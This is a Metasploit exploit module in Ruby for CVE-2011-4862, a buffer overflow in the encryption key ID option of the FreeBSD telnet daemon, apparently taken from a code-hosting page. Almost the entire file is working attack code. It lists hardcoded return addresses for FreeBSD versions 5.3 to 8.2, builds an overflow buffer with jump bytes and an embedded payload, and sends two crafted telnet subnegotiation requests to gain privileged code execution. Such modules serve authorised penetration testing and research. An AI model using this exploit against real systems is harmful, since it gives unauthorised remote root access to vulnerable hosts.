128 lines
3.9 KiB
Ruby
128 lines
3.9 KiB
Ruby
# -*- coding: binary -*-
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Telnet
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include Msf::Exploit::BruteTargets
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the encryption option handler of the
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FreeBSD telnet service.
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},
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'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2011-4862'],
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['OSVDB', '78020'],
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['BID', '51182'],
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['EDB', '18280']
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],
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'Privileged' => true,
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'Platform' => 'bsd',
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'Payload' =>
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{
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'Space' => 128,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
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[ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
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[ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
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[ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
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[ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
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[ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
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[ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
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[ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
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# [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
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[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
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# Versions 5.2 and below do not support encyption
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 23 2011'))
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end
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def exploit_target(t)
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connect
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banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
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vprint_status(banner_sanitized)
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enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
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enc_keyid = "\xff\xfa\x26\x07"
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end_suboption = "\xff\xf0"
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# Telnet protocol requires 0xff to be escaped with another
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penc = payload.encoded.gsub("\xff", "\xff\xff")
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key_id = Rex::Text.rand_text_alphanumeric(400)
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key_id[ 0, 2] = "\xeb\x76"
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key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
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key_id[76, 4] = [ t['Ret'] ].pack("V")
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# Some of these bytes can get mangled, jump over them
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key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)
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# Bounce to the real payload (avoid corruption)
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key_id[120, 2] = "\xeb\x46"
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# The actual payload
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key_id[192, penc.length] = penc
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# Create the Key ID command
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sploit = enc_keyid + key_id + end_suboption
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# Initiate encryption
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sock.put(enc_init)
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# Wait for a successful response
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loop do
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data = sock.get_once(-1, 5) rescue nil
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if not data
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fail_with(Failure::Unknown, "This system does not support encryption")
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end
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break if data.index("\xff\xfa\x26\x02\x01")
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end
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# The first request smashes the pointer
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print_status("Sending first payload")
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sock.put(sploit)
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# Make sure the server replied to the first request
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data = sock.get_once(-1, 5)
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unless data
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print_status("Server did not respond to first payload")
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return
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end
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# Some delay between each request seems necessary in some cases
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::IO.select(nil, nil, nil, 0.5)
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# The second request results in the pointer being called
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print_status("Sending second payload...")
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sock.put(sploit)
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handler
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::IO.select(nil, nil, nil, 0.5)
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disconnect
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end
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end
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